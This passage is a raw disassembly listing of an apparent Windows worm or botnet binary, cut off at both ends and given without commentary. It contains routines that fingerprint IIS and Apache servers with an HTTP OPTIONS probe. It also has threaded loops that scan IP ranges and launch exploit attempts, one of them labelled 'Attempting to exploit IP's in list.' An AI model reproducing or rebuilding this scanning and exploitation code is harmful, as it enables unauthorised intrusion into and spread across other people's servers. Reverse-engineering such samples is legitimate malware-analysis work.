eax, [ebp+var_1B0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_1AC] push 1 push eax call sub_403644 mov edi, eax add esp, 18h test edi, edi jnz short loc_40E9A1 push [ebp+var_1B0] call sub_406E6F pop ecx xor eax, eax jmp loc_40EA2A ; --------------------------------------------------------------------------- loc_40E9A1: ; CODE XREF: sub_40E951+3Bj lea eax, [ebp+var_1AC] push esi push eax mov eax, [ebp+var_1B0] push dword ptr [eax] lea eax, [ebp+var_1A6] push offset dword_417D38 push eax call sub_4096CB lea eax, [ebp+var_1AC] push eax push offset dword_419EC4 call sub_4114B8 ; _mbscpy add esp, 18h loc_40E9D6: ; CODE XREF: sub_40E951+A3j ; sub_40E951+B8j ... mov eax, [ebp+var_1B0] cmp dword ptr [eax+4], 0 jnz short loc_40EA14 push 3E8h push edi call sub_403767 mov esi, eax pop ecx cmp esi, 0FFFFFFFFh pop ecx jz short loc_40E9D6 test esi, esi jz short loc_40EA14 push esi push offset sub_40E8E1 call sub_406C5D pop ecx test eax, eax pop ecx jnz short loc_40E9D6 push esi call sub_403D92 pop ecx jmp short loc_40E9D6 ; --------------------------------------------------------------------------- loc_40EA14: ; CODE XREF: sub_40E951+8Fj ; sub_40E951+A7j push edi call sub_40392A push [ebp+var_1B0] call sub_406E6F pop ecx xor eax, eax pop ecx pop esi loc_40EA2A: ; CODE XREF: sub_40E951+4Bj pop edi leave retn 4 sub_40E951 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA2F proc near ; CODE XREF: sub_407A76+97Ep ; sub_40EE23+1FBp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push 1ADh call sub_4114C4 ; malloc test eax, eax pop ecx mov [ebp+var_4], eax jz short locret_40EAC2 cmp [ebp+arg_4], 0 push ebx push esi push edi mov esi, 0FFFFh mov ebx, 401h jz short loc_40EA62 push [ebp+arg_4] call sub_41151C ; atoi jmp short loc_40EA6A ; --------------------------------------------------------------------------- loc_40EA62: ; CODE XREF: sub_40EA2F+27j push esi push ebx call sub_40B459 pop ecx loc_40EA6A: ; CODE XREF: sub_40EA2F+31j mov edi, eax pop ecx test edi, edi jz short loc_40EA75 cmp edi, esi jbe short loc_40EA80 loc_40EA75: ; CODE XREF: sub_40EA2F+40j push esi push ebx call sub_40B459 pop ecx mov edi, eax pop ecx loc_40EA80: ; CODE XREF: sub_40EA2F+44j mov esi, [ebp+var_4] push 0Ah lea eax, [esi+4] push eax push edi call sub_41192A ; _itoa mov ebx, [ebp+arg_0] lea eax, [esi+0Ah] push ebx push eax call sub_40457C xor eax, eax add esp, 14h cmp [ebx+18Bh], al push edi push offset dword_417D70 setz al push eax push esi push offset sub_40E951 call sub_406D58 add esp, 14h pop edi pop esi pop ebx locret_40EAC2: ; CODE XREF: sub_40EA2F+14j leave retn sub_40EA2F endp ; =============== S U B R O U T I N E ======================================= sub_40EAC4 proc near ; CODE XREF: kkrunchy:004112AFp push ebx xor ebx, ebx cmp off_417DC6, ebx jz short loc_40EB14 push esi mov esi, offset off_417DC6 loc_40EAD5: ; CODE XREF: sub_40EAC4+4Dj mov eax, [esi-8] and eax, 0FFh sub [esi], eax and dword ptr [esi-4], 0 loc_40EAE3: ; CODE XREF: sub_40EAC4+29j ; sub_40EAC4+3Ej call sub_40B480 test eax, eax mov [esi-8], eax jz short loc_40EAE3 xor edx, edx mov ecx, offset word_417DBE loc_40EAF6: ; CODE XREF: sub_40EAC4+44j cmp dword ptr [ecx+8], 0 jz short loc_40EB0A cmp ebx, edx jz short loc_40EB04 cmp eax, [ecx] jz short loc_40EAE3 loc_40EB04: ; CODE XREF: sub_40EAC4+3Aj inc edx add ecx, 3Ah jmp short loc_40EAF6 ; --------------------------------------------------------------------------- loc_40EB0A: ; CODE XREF: sub_40EAC4+36j add esi, 3Ah inc ebx cmp dword ptr [esi], 0 jnz short loc_40EAD5 pop esi loc_40EB14: ; CODE XREF: sub_40EAC4+9j pop ebx retn sub_40EAC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EB16 proc near ; CODE XREF: sub_40ECD6+6Ap var_808 = byte ptr -808h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 808h push ebx push esi push edi push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_403D9D push 0EA60h push [ebp+arg_0] call sub_403E1F add esp, 14h test eax, eax jz loc_40ECCF xor ebx, ebx mov esi, 800h push ebx lea eax, [ebp+var_808] push esi push eax push [ebp+arg_0] call dword_412258 ; recv cmp eax, ebx jz loc_40ECCF cmp eax, 0FFFFFFFFh jz loc_40ECCF cmp eax, esi jz loc_40ECCF mov [ebp+eax+var_808], bl lea eax, [ebp+var_808] push offset aServer ; "Server:" push eax mov [ebp+var_8], ebx call sub_411528 ; strstr pop ecx cmp eax, ebx pop ecx jz loc_40ECCF lea ecx, [ebp+var_8] mov esi, offset dword_413F54 push ecx push esi push eax call sub_405E4F add esp, 0Ch test eax, eax jz loc_40ECCF lea eax, [ebp+var_8] push eax push esi push ebx call sub_405E4F mov edi, eax add esp, 0Ch cmp edi, ebx jz loc_40ECCF lea eax, [ebp+var_8] push eax push esi push ebx call sub_405E4F push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push edi mov [ebp+arg_0], eax call sub_411930 ; _strnicmp add esp, 18h test eax, eax jnz short loc_40EC58 lea eax, [ebp+arg_0] mov [ebp+var_4], ebx push eax lea eax, [ebp+var_4] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push edi mov [ebp+arg_0], ebx call sub_411522 ; sscanf add esp, 10h push 4 pop eax cmp [ebp+var_4], eax jnz short loc_40EC27 cmp [ebp+arg_0], ebx jnz loc_40ECCF jmp loc_40ECD1 ; --------------------------------------------------------------------------- loc_40EC27: ; CODE XREF: sub_40EB16+101j cmp [ebp+var_4], 5 jnz short loc_40EC44 cmp [ebp+arg_0], ebx jnz short loc_40EC36 push 3 jmp short loc_40EC55 ; --------------------------------------------------------------------------- loc_40EC36: ; CODE XREF: sub_40EB16+11Aj cmp [ebp+arg_0], 5 jnz loc_40ECCF push 2 jmp short loc_40EC55 ; --------------------------------------------------------------------------- loc_40EC44: ; CODE XREF: sub_40EB16+115j cmp [ebp+var_4], 6 jnz loc_40ECCF cmp [ebp+arg_0], ebx jnz short loc_40ECCF push 1 loc_40EC55: ; CODE XREF: sub_40EB16+11Ej ; sub_40EB16+12Cj pop eax jmp short loc_40ECD1 ; --------------------------------------------------------------------------- loc_40EC58: ; CODE XREF: sub_40EB16+DDj cmp [ebp+arg_0], ebx jz short loc_40ECCF push 6 push offset aApache ; "Apache" push edi call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40ECCF lea eax, [ebp+var_4] mov [ebp+var_4], ebx push eax push offset dword_418148 push edi call sub_411522 ; sscanf push 6 push offset dword_418140 push [ebp+arg_0] call sub_411930 ; _strnicmp mov esi, eax add esp, 18h neg esi sbb esi, esi inc esi cmp esi, 1 jnz short loc_40ECB7 push 7 push offset dword_418138 push [ebp+arg_0] call sub_411930 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_40ECCF loc_40ECB7: ; CODE XREF: sub_40EB16+189j cmp [ebp+var_4], 1 jz short loc_40ECC3 cmp [ebp+var_4], 2 jnz short loc_40ECCF loc_40ECC3: ; CODE XREF: sub_40EB16+1A5j xor eax, eax cmp esi, ebx setnz al add eax, 5 jmp short loc_40ECD1 ; --------------------------------------------------------------------------- loc_40ECCF: ; CODE XREF: sub_40EB16+2Dj ; sub_40EB16+4Ej ... xor eax, eax loc_40ECD1: ; CODE XREF: sub_40EB16+10Cj ; sub_40EB16+140j ... pop edi pop esi pop ebx leave retn sub_40EB16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ECD6 proc near ; DATA XREF: sub_40EE23+3B3o ; sub_40F461+1C2o var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch lea eax, [ebp+var_14C] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free push 1 push [ebp+var_10E] call sub_40344B lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4034DE add esp, 20h test eax, eax jnz short loc_40ED31 push [ebp+var_10E] call sub_403D70 jmp loc_40EE1C ; --------------------------------------------------------------------------- loc_40ED31: ; CODE XREF: sub_40ECD6+49j cmp [ebp+var_112], 0 jz short loc_40ED52 push [ebp+var_10E] call sub_40EB16 cmp [ebp+var_112], eax pop ecx jnz loc_40EE11 loc_40ED52: ; CODE XREF: sub_40ECD6+62j cmp [ebp+var_8A], 1 jnz short loc_40ED6C lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_403530 jmp short loc_40EDB9 ; --------------------------------------------------------------------------- loc_40ED6C: ; CODE XREF: sub_40ECD6+83j cmp [ebp+var_8A], 2 jnz short loc_40EDAA lea eax, [ebp+var_6] push 0Ah push eax push 0FFFFh push 401h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_4114B8 ; _mbscpy add esp, 14h jmp short loc_40EDCD ; --------------------------------------------------------------------------- loc_40EDAA: ; CODE XREF: sub_40ECD6+9Dj call sub_40E8DB push eax lea eax, [ebp+var_6] push eax call sub_4114B8 ; _mbscpy loc_40EDB9: ; CODE XREF: sub_40ECD6+94j lea eax, [ebp+var_86] push offset dword_41A2E8 push eax call sub_4114B8 ; _mbscpy add esp, 10h loc_40EDCD: ; CODE XREF: sub_40ECD6+D2j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_40EDF6 push [ebp+var_10E] push [ebp+var_14C] call sub_40E707 jmp short loc_40EE0F ; --------------------------------------------------------------------------- loc_40EDF6: ; CODE XREF: sub_40ECD6+10Bj cmp [ebp+var_8A], 2 jnz short loc_40EE11 lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_40E829 loc_40EE0F: ; CODE XREF: sub_40ECD6+11Ej pop ecx pop ecx loc_40EE11: ; CODE XREF: sub_40ECD6+76j ; sub_40ECD6+127j push [ebp+var_10E] call sub_403D92 loc_40EE1C: ; CODE XREF: sub_40ECD6+56j pop ecx xor eax, eax leave retn 4 sub_40ECD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE23 proc near ; DATA XREF: sub_40F2C2+18Do var_758 = qword ptr -758h var_740 = byte ptr -740h var_640 = byte ptr -640h var_63F = byte ptr -63Fh var_540 = byte ptr -540h var_53F = byte ptr -53Fh var_440 = dword ptr -440h var_43C = byte ptr -43Ch var_429 = byte ptr -429h var_37E = dword ptr -37Eh var_2F4 = dword ptr -2F4h var_2F0 = byte ptr -2F0h var_1E8 = byte ptr -1E8h var_1DA = dword ptr -1DAh var_1D6 = dword ptr -1D6h var_1D2 = dword ptr -1D2h var_1CE = byte ptr -1CEh var_47 = byte ptr -47h var_46 = byte ptr -46h var_43 = byte ptr -43h var_37 = byte ptr -37h var_36 = byte ptr -36h var_28 = byte ptr -28h var_14 = qword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 740h push esi push edi push 2C9h lea eax, [ebp+var_2F4] push [ebp+arg_0] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free lea eax, [ebp+var_1E8] push eax call sub_4059F0 add esp, 14h test al, al jz short loc_40EE78 push 14Ch lea eax, [ebp+var_440] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch jmp loc_40EF02 ; --------------------------------------------------------------------------- loc_40EE78: ; CODE XREF: sub_40EE23+38j xor esi, esi mov edi, offset dword_417D98 loc_40EE7F: ; CODE XREF: sub_40EE23+8Aj lea eax, [ebp+var_28] push edi push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_28] push eax call sub_40B5E1 lea eax, [ebp+var_1E8] push eax lea eax, [ebp+var_28] push eax call sub_411924 ; _strcmpi add esp, 14h test eax, eax jz short loc_40EEAF inc esi add edi, 3Ah jmp short loc_40EE7F ; --------------------------------------------------------------------------- loc_40EEAF: ; CODE XREF: sub_40EE23+84j imul esi, 3Ah push 3Ah lea eax, [ebp+var_43C] lea esi, dword_417D98[esi] push esi push eax mov [ebp+var_440], esi call sub_4114D0 ; memcpy lea eax, [ebp+var_43C] push eax call sub_40B5E1 lea eax, [ebp+var_429] push eax call sub_40B5E1 and [ebp+var_37E], 0 lea eax, [ebp+var_429] push eax lea eax, [ebp+var_1E8] push eax call sub_4114B8 ; _mbscpy add esp, 1Ch loc_40EF02: ; CODE XREF: sub_40EE23+50j lea eax, [ebp+var_2F0] push eax call sub_405D8C test eax, eax pop ecx jz short loc_40EF79 mov dl, byte_4191D0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_53F] mov [ebp+var_540], dl rep stosd stosw stosb push 3Fh xor eax, eax pop ecx lea edi, [ebp+var_63F] mov [ebp+var_640], dl rep stosd stosw stosb lea eax, [ebp+var_640] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_540] push eax call sub_405C9C add esp, 0Ch test eax, eax jz short loc_40EF79 push [ebp+var_1D2] call sub_40396E test eax, eax pop ecx mov [ebp+var_4], eax jnz short loc_40EF8C loc_40EF79: ; CODE XREF: sub_40EE23+EEj ; sub_40EE23+141j push [ebp+var_2F4] call sub_406E6F pop ecx xor eax, eax jmp loc_40F2BC ; --------------------------------------------------------------------------- loc_40EF8C: ; CODE XREF: sub_40EE23+154j mov eax, [ebp+var_440] push ebx test eax, eax jz loc_40F02E test byte ptr [eax+32h], 1 jz loc_40F02E call sub_403338 mov ecx, eax push 2 neg ecx sbb ecx, ecx pop edx add ecx, 3 cmp [ebp+var_37], 0 mov [ebp+var_37E], ecx jz short loc_40EFD6 mov esi, [ebp+var_440] test [esi+32h], dl jnz short loc_40EFD6 push 1 pop ecx mov [ebp+var_37E], ecx loc_40EFD6: ; CODE XREF: sub_40EE23+19Dj ; sub_40EE23+1A8j cmp [ebp+var_47], 0 jz short loc_40EFE4 mov ecx, edx mov [ebp+var_37E], ecx loc_40EFE4: ; CODE XREF: sub_40EE23+1B7j cmp [ebp+var_46], 0 jz short loc_40EFF3 push 3 pop ecx mov [ebp+var_37E], ecx loc_40EFF3: ; CODE XREF: sub_40EE23+1C5j cmp ecx, 3 jnz short loc_40F02E test eax, eax jz short loc_40F004 mov [ebp+var_37E], edx jmp short loc_40F02E ; --------------------------------------------------------------------------- loc_40F004: ; CODE XREF: sub_40EE23+1D7j mov al, [ebp+var_43] mov bl, [ebp+var_36] and [ebp+var_43], 0 mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_1CE] push 0 push eax mov [ebp+var_36], 1 call sub_40EA2F mov al, byte ptr [ebp+arg_0+3] pop ecx pop ecx mov [ebp+var_36], bl mov [ebp+var_43], al loc_40F02E: ; CODE XREF: sub_40EE23+172j ; sub_40EE23+17Cj ... mov esi, offset dword_419678 push esi call sub_407200 pop ecx lea eax, [ebp+var_1E8] push [ebp+var_1DA] push eax lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_2F4] add eax, 14h push offset dword_418230 push eax call sub_4114DC ; sprintf push esi call sub_40720B add esp, 18h lea eax, [ebp+var_1E8] push [ebp+var_1DA] push eax lea eax, [ebp+var_2F0] push eax mov eax, [ebp+var_2F4] push dword ptr [eax] lea eax, [ebp+var_1CE] push offset dword_4181F8 push eax call sub_4096CB xor ebx, ebx add esp, 18h cmp [ebp+var_440], ebx mov esi, 3E8h jnz short loc_40F0B1 push esi call dword_4120A4 ; Sleep loc_40F0B1: ; CODE XREF: sub_40EE23+285j mov [ebp+var_8], ebx call sub_4114E2 ; clock mov [ebp+var_C], eax mov [ebp+arg_0], ebx loc_40F0BF: ; CODE XREF: sub_40EE23+30Fj ; sub_40EE23+34Cj ... mov eax, [ebp+var_2F4] cmp [eax+4], ebx jnz loc_40F265 mov edi, [ebp+arg_0] sub edi, [ebp+var_C] call sub_4114E2 ; clock mov ecx, [ebp+var_1DA] add eax, edi imul ecx, 3E8h cmp eax, ecx jnb loc_40F265 lea eax, [ebp+var_640] push eax lea eax, [ebp+var_540] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_640] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_540] push eax call sub_405C9C lea eax, [ebp+var_540] push offset dword_41A2E8 push eax call sub_41177E ; strcmp add esp, 1Ch test eax, eax jz short loc_40F0BF push [ebp+var_4] lea eax, [ebp+var_1E8] push ebx push eax lea eax, [ebp+var_540] push eax call sub_403B44 add esp, 0Ch push eax call sub_403996 pop ecx test eax, eax pop ecx jz short loc_40F175 call sub_4114E2 ; clock mov ecx, [ebp+var_1DA] add eax, edi imul ecx, 3E8h cmp eax, ecx jb loc_40F0BF loc_40F175: ; CODE XREF: sub_40EE23+335j push [ebp+var_1D6] call dword_4120A4 ; Sleep push [ebp+var_4] call sub_403A1B test eax, eax pop ecx jz loc_40F255 loc_40F192: ; CODE XREF: sub_40EE23+39Fj ; sub_40EE23+3DAj ... push [ebp+var_4] call sub_403AB5 mov ebx, eax pop ecx test ebx, ebx jz loc_40F255 inc [ebp+var_8] cmp [ebp+var_440], 0 jz short loc_40F1FF mov edi, 14Ch push edi call sub_4114C4 ; malloc test eax, eax pop ecx mov dword ptr [ebp+var_14+4], eax jz short loc_40F192 lea ecx, [ebp+var_440] push edi push ecx push eax call sub_4114D0 ; memcpy mov edi, dword ptr [ebp+var_14+4] push edi push offset sub_40ECD6 mov [edi+3Eh], ebx call sub_406C5D add esp, 14h test eax, eax jnz short loc_40F1F2 push edi call sub_4114CA ; free jmp short loc_40F1FC ; --------------------------------------------------------------------------- loc_40F1F2: ; CODE XREF: sub_40EE23+3C5j push [ebp+var_4] push ebx call sub_4039C6 pop ecx loc_40F1FC: ; CODE XREF: sub_40EE23+3CDj pop ecx jmp short loc_40F192 ; --------------------------------------------------------------------------- loc_40F1FF: ; CODE XREF: sub_40EE23+38Cj mov eax, [ebp+var_2F4] cmp dword ptr [eax+4], 0 jnz short loc_40F255 lea eax, [ebp+var_740] push eax push ebx call sub_4034DE pop ecx mov bl, [ebp+var_36] pop ecx lea eax, [ebp+var_1E8] and [ebp+var_36], 0 push eax lea eax, [ebp+var_740] push eax lea eax, [ebp+var_1CE] push offset dword_4181E4 push eax call sub_4096CB add esp, 10h mov [ebp+var_36], bl push esi call dword_4120A4 ; Sleep add [ebp+arg_0], esi jmp loc_40F192 ; --------------------------------------------------------------------------- loc_40F255: ; CODE XREF: sub_40EE23+369j ; sub_40EE23+37Cj ... push [ebp+var_4] call sub_403AF7 pop ecx xor ebx, ebx jmp loc_40F0BF ; --------------------------------------------------------------------------- loc_40F265: ; CODE XREF: sub_40EE23+2A5j ; sub_40EE23+2C6j push [ebp+var_8] call sub_4114E2 ; clock sub eax, [ebp+var_C] mov dword ptr [ebp+var_14+4], ebx push ecx push ecx mov dword ptr [ebp+var_14], eax lea eax, [ebp+var_1E8] fild [ebp+var_14] fmul flt_412280 fstp [esp+758h+var_758] push eax lea eax, [ebp+var_2F0] push eax lea eax, [ebp+var_1CE] push offset unk_4181A0 push eax call sub_4096CB push [ebp+var_4] call sub_403B2F push [ebp+var_2F4] call sub_406E6F add esp, 24h xor eax, eax pop ebx loc_40F2BC: ; CODE XREF: sub_40EE23+164j pop edi pop esi leave retn 4 sub_40EE23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F2C2 proc near ; CODE XREF: sub_407A76+12DDp var_18 = byte ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 18h push ebx xor ebx, ebx cmp [ebp+arg_4], ebx push esi push edi jz loc_40F45C mov edi, [ebp+arg_8] cmp edi, ebx jz loc_40F45C push edi call sub_4059F0 test al, al pop ecx jz short loc_40F313 push edi call sub_4032A7 test eax, eax pop ecx jz loc_40F45C loc_40F2FB: ; CODE XREF: sub_40F2C2+87j cmp [ebp+arg_C], ebx mov esi, 15180h jz short loc_40F35A push [ebp+arg_C] call sub_41151C ; atoi pop ecx mov [ebp+var_4], eax jmp short loc_40F35D ; --------------------------------------------------------------------------- loc_40F313: ; CODE XREF: sub_40F2C2+28j cmp byte ptr dword_417D98, 0 jz loc_40F45C mov eax, offset dword_417D98 mov esi, eax loc_40F327: ; CODE XREF: sub_40F2C2+91j push eax lea eax, [ebp+var_18] push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_18] push eax call sub_40B5E1 lea eax, [ebp+var_18] push edi push eax call sub_411924 ; _strcmpi add esp, 14h test eax, eax jz short loc_40F2FB add esi, 3Ah mov eax, esi cmp byte ptr [esi], 0 jnz short loc_40F327 jmp loc_40F45C ; --------------------------------------------------------------------------- loc_40F35A: ; CODE XREF: sub_40F2C2+41j mov [ebp+var_4], esi loc_40F35D: ; CODE XREF: sub_40F2C2+4Fj cmp [ebp+var_4], ebx jz short loc_40F367 cmp [ebp+var_4], esi jbe short loc_40F36A loc_40F367: ; CODE XREF: sub_40F2C2+9Ej mov [ebp+var_4], esi loc_40F36A: ; CODE XREF: sub_40F2C2+A3j cmp [ebp+arg_10], ebx mov esi, 7D0h jz short loc_40F382 push [ebp+arg_10] call sub_41151C ; atoi pop ecx mov [ebp+arg_10], eax jmp short loc_40F385 ; --------------------------------------------------------------------------- loc_40F382: ; CODE XREF: sub_40F2C2+B0j mov [ebp+arg_10], esi loc_40F385: ; CODE XREF: sub_40F2C2+BEj cmp [ebp+arg_10], 32h jb short loc_40F394 cmp [ebp+arg_10], 0EA60h jbe short loc_40F397 loc_40F394: ; CODE XREF: sub_40F2C2+C7j mov [ebp+arg_10], esi loc_40F397: ; CODE XREF: sub_40F2C2+D0j cmp [ebp+arg_14], ebx mov esi, 100h jz short loc_40F3AF push [ebp+arg_14] call sub_41151C ; atoi pop ecx mov [ebp+arg_C], eax jmp short loc_40F3B2 ; --------------------------------------------------------------------------- loc_40F3AF: ; CODE XREF: sub_40F2C2+DDj mov [ebp+arg_C], esi loc_40F3B2: ; CODE XREF: sub_40F2C2+EBj cmp [ebp+arg_C], ebx jz short loc_40F3C0 cmp [ebp+arg_C], 200h jbe short loc_40F3C3 loc_40F3C0: ; CODE XREF: sub_40F2C2+F3j mov [ebp+arg_C], esi loc_40F3C3: ; CODE XREF: sub_40F2C2+FCj push 2C9h call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, ebx jz loc_40F45C push 108h lea edi, [esi+4] push [ebp+arg_4] push edi call sub_4059C2 push 0Eh lea ebx, [esi+10Ch] push [ebp+arg_8] push ebx call sub_4059C2 mov eax, [ebp+var_4] push 1A3h push [ebp+arg_0] mov [esi+11Ah], eax mov eax, [ebp+arg_10] mov [esi+11Eh], eax mov eax, [ebp+arg_C] mov [esi+122h], eax lea eax, [esi+126h] push eax call sub_4114D0 ; memcpy mov ecx, [ebp+arg_0] add esp, 24h xor eax, eax push [ebp+arg_C] cmp [ecx+18Bh], al push [ebp+arg_10] setz al push dword ptr [esi+11Ah] push ebx push edi push offset unk_41825C push eax push esi push offset sub_40EE23 call sub_406D58 add esp, 24h loc_40F45C: ; CODE XREF: sub_40F2C2+Ej ; sub_40F2C2+19j ... pop edi pop esi pop ebx leave retn sub_40F2C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F461 proc near ; DATA XREF: sub_40F6CD+4Bo var_488 = dword ptr -488h var_484 = byte ptr -484h var_304 = byte ptr -304h var_17D = byte ptr -17Dh var_17C = byte ptr -17Ch var_179 = byte ptr -179h var_16D = byte ptr -16Dh var_16C = byte ptr -16Ch var_16B = byte ptr -16Bh var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_149 = byte ptr -149h var_9E = dword ptr -9Eh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 488h push ebx push esi push edi push 327h push [ebp+arg_0] lea eax, [ebp+var_488] push eax call sub_4114D0 ; memcpy push [ebp+arg_0] call sub_4114CA ; free mov eax, [ebp+var_488] add esp, 10h push dword ptr [eax] lea eax, [ebp+var_304] push offset unk_418308 push eax call sub_4096CB lea eax, [ebp+var_14] xor edi, edi push eax lea eax, [ebp+var_484] push offset dword_413F54 push eax mov [ebp+var_C], edi mov [ebp+var_8], edi call sub_405E4F add esp, 18h mov [ebp+var_10], eax loc_40F4C8: ; CODE XREF: sub_40F461+236j inc [ebp+var_C] cmp off_417DC6, edi jz loc_40F675 mov [ebp+var_4], offset dword_417D98 loc_40F4DE: ; CODE XREF: sub_40F461+20Ej mov esi, [ebp+var_4] push 3Ah lea eax, [ebp+var_15C] push esi push eax call sub_4114D0 ; memcpy lea eax, [ebp+var_15C] mov [ebp+var_160], esi push eax call sub_40B5E1 lea eax, [ebp+var_149] push eax call sub_40B5E1 mov eax, [ebp+var_160] add esp, 14h cmp eax, edi jz loc_40F5CF test byte ptr [eax+32h], 1 jz loc_40F5CF call sub_403338 mov ecx, eax neg ecx sbb ecx, ecx add ecx, 3 cmp [ebp+var_16D], 0 mov [ebp+var_9E], ecx jz short loc_40F55B mov edx, [ebp+var_160] test byte ptr [edx+32h], 2 jnz short loc_40F55B push 1 pop ecx mov [ebp+var_9E], ecx loc_40F55B: ; CODE XREF: sub_40F461+E3j ; sub_40F461+EFj cmp [ebp+var_17D], 0 jz short loc_40F56D push 2 pop ecx mov [ebp+var_9E], ecx loc_40F56D: ; CODE XREF: sub_40F461+101j cmp [ebp+var_17C], 0 jz short loc_40F57F push 3 pop ecx mov [ebp+var_9E], ecx loc_40F57F: ; CODE XREF: sub_40F461+113j cmp ecx, 3 jnz short loc_40F5CF cmp eax, edi jz short loc_40F594 mov [ebp+var_9E], 2 jmp short loc_40F5CF ; --------------------------------------------------------------------------- loc_40F594: ; CODE XREF: sub_40F461+125j mov al, [ebp+var_179] mov bl, [ebp+var_16C] and [ebp+var_179], 0 mov byte ptr [ebp+arg_0+3], al lea eax, [ebp+var_304] push edi push eax mov [ebp+var_16C], 1 call sub_40EA2F mov al, byte ptr [ebp+arg_0+3] pop ecx pop ecx mov [ebp+var_16C], bl mov [ebp+var_179], al loc_40F5CF: ; CODE XREF: sub_40F461+B8j ; sub_40F461+C2j ... mov cl, [ebp+var_16B] mov eax, 1388h neg cl sbb ecx, ecx and ecx, eax add ecx, eax lea eax, [ebp+var_149] push ecx push edi push eax push [ebp+var_10] call sub_403C04 mov ebx, eax add esp, 10h cmp ebx, edi jz short loc_40F665 push 14Ch call sub_4114C4 ; malloc mov esi, eax pop ecx cmp esi, edi jz short loc_40F665 lea eax, [ebp+var_160] push 14Ch push eax push esi call sub_4114D0 ; memcpy inc [ebp+var_8] push esi push offset sub_40ECD6 mov [esi+3Eh], ebx call sub_406C5D add esp, 14h test eax, eax jnz short loc_40F647 push ebx call sub_403D92 push esi call sub_4114CA ; free pop ecx pop ecx jmp short loc_40F665 ; --------------------------------------------------------------------------- loc_40F647: ; CODE XREF: sub_40F461+1D4j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_304] push [ebp+var_10] push offset dword_4182D8 push eax call sub_4096CB add esp, 10h loc_40F665: ; CODE XREF: sub_40F461+199j ; sub_40F461+1AAj ... add [ebp+var_4], 3Ah mov eax, [ebp+var_4] cmp [eax+2Eh], edi jnz loc_40F4DE loc_40F675: ; CODE XREF: sub_40F461+70j lea eax, [ebp+var_14] push eax push offset dword_413F54 push edi call sub_405E4F add esp, 0Ch mov [ebp+var_10], eax cmp eax, edi mov eax, [ebp+var_488] jz short loc_40F69D cmp [eax+4], edi jz loc_40F4C8 loc_40F69D: ; CODE XREF: sub_40F461+231j push [ebp+var_C] push [ebp+var_8] push dword ptr [eax] lea eax, [ebp+var_304] push offset dword_418294 push eax call sub_4096CB push [ebp+var_488] call sub_406E6F add esp, 18h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40F461 endp ; =============== S U B R O U T I N E ======================================= sub_40F6CD proc near ; CODE XREF: sub_407A76+709p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_4], 0 push esi jz short loc_40F725 push 327h call sub_4114C4 ; malloc mov esi, eax pop ecx test esi, esi jz short loc_40F725 push 180h lea eax, [esi+4] push [esp+8+arg_4] push eax call sub_4059C2 push 1A3h lea eax, [esi+184h] push [esp+14h+arg_0] push eax call sub_4114D0 ; memcpy add esp, 18h push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push esi push offset sub_40F461 call sub_406D58 add esp, 10h loc_40F725: ; CODE XREF: sub_40F6CD+6j ; sub_40F6CD+17j pop esi retn sub_40F6CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F727 proc near ; DATA XREF: sub_40F7FD+29o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_21 = byte ptr -21h var_20 = byte ptr -20h var_14 = 